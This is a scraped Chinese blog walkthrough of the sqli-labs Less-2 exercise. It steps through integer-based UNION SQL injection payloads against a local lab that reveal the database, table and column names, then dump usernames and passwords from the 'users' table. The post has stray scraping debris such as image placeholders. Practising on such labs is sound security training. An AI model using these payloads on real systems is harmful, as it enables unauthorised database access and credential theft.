1. 程式人生 > >Less-2 GET - Error based - Intiger based (基於錯誤的GET整型註入)

Less-2 GET - Error based - Intiger based (基於錯誤的GET整型註入)

where div 圖片 分享圖片 abs gen ref class 十六

將第一題中的id=1‘的 ‘ 去掉即可。

1)

http://127.0.0.1/sqli-labs-master/Less-2/?id=0

技術分享圖片

2)爆庫payload

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,database() --+

得到‘security’庫名

技術分享圖片

3)爆表payload

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到 emails,referers,uagents,users ,顯然users是用戶數據表

技術分享圖片

3)爆列名(字段)payload

http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+

技術分享圖片

4)爆值payload

http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六進制標誌,3a是十進制的58,是ascii中的 ‘:‘ ,用以分割pasword和username。

技術分享圖片

Less-2 GET - Error based - Intiger based (基於錯誤的GET整型註入)